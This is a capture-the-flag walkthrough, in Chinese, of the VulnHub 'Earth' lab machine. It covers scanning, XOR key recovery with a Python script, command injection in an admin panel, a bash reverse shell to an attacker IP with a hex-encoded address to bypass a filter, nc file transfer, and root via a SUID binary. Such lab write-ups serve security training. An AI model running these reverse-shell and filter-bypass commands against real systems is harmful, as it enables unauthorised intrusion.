vulnhub-Earth
靶机下载地址:https://download.vulnhub.com/theplanets/Earth.ova
1、信息收集
arp-scan -l
nmap -sS -A -T4 192.168.13.147
80端口返回HTTP400,往下看发现有DNS解析
DNS:earth.local
DNS:terratest.earth.local
修改一下host文件 注意:必须使用root权限,不然无法保存
vi /etc/hosts
再次nmap进行扫描,之前返回HTTP400的页面就没问题了
访问http://earth.local
http://terratest.earth.local
https://earth.local/
三个页面是相同的内容,但下面有三行数值
2、目录扫描
http://earth.local、https://earth.local和http://terratest.earth.local的扫描结果都是一样的
找到一个登录界面
http://terratest.earth.local/admin
https://terratest.earth.local的结果不一样
网站下有robots.txt文件,访问https://terratest.earth.local/robots.txt
前面的都是后缀,最后一个是文件名
测出后缀为txt后缀,https://terratest.earth.local/testingnotes.txt
译文:
测试安全邮件系统注意事项:
*使用XOR加密作为算法,应该像RSA中使用的那样安全。
*地球已确认他们已收到我们发送的消息。
*testdata.txt用于测试加密。
*terra用作管理门户的用户名。
待办事项:
*我们如何将每月的密钥安全地发送到地球?还是应该每周更换一次密钥?
*需要测试不同的密钥长度以防止暴力破解。密钥应该多长时间?
*需要改进消息传递界面和管理面板的界面,目前非常基本。
获取信息:
1、密码采用XOR加密算法
2、testdata.txt文件
3、用户名为terra
译文:
根据辐射测年估计和其他证据,地球形成于45亿年前。在地球历史的前十亿年内,海洋中出现了生命,并开始影响地球的大气层和表面,导致厌氧生物的扩散,后来又出现了有氧生物。一些地质证据表明,生命可能早在41亿年前就出现了。
vulnhub-Earth脚本
import binascii
entry_str = ‘2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a’
pass_txt = “According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth’s history, life appeared in the oceans and began to affect Earth’s atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.”
#将pass_txt转换成16进制
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding=“utf-8”)).decode(‘utf-8’).replace(“b’”,‘’)
#进行xor运算
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace(‘0x’,‘’)
#将运算结果转换成字符串
datatext = binascii.unhexlify(result).decode(‘utf-8’)
print(datatext)
脚本运行结果,一串由earthclimatechangebad4humans循环组成的字符串
结合前面的用户名,找到之前的登录界面尝试一下
用户名:terra
密码:earthclimatechangebad4humans
登录成功,发现是一个命令执行的输入框,因此有命令执行漏洞存在的可能性
查看一下权限为普通用户
3、提权
在网页输入框中输入bash -i >& /dev/tcp/ 192.168.0.12/6688 0>&1,但显示被禁止了
发现被禁止后就在网上查找了以下,发现通过将ip地址转换成16进制可以进行绕过:bash -i >& /dev/tcp/0xc0.0xa8.0x0d.0x81/4444 0>&1,kali端成功获取到shell权限
查找可用权限
find / -perm -u=s -type f 2>/dev/null
发现一个reset_root但运行不了,把文件导出来看看
kali: nc -nlvp 7777 >reset_root
shell: nc 192.168.13.129 7777 < /usr/bin/reset_root
给个权限再使用strace命令进行调试
chmod +x reset_root
显示缺少三个文件
strace ./reset_root
那就创建好这几个文件再尝试执行下reset_root文件
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
/usr/bin/reset_root
在root权限下查找flag文件并读取flag值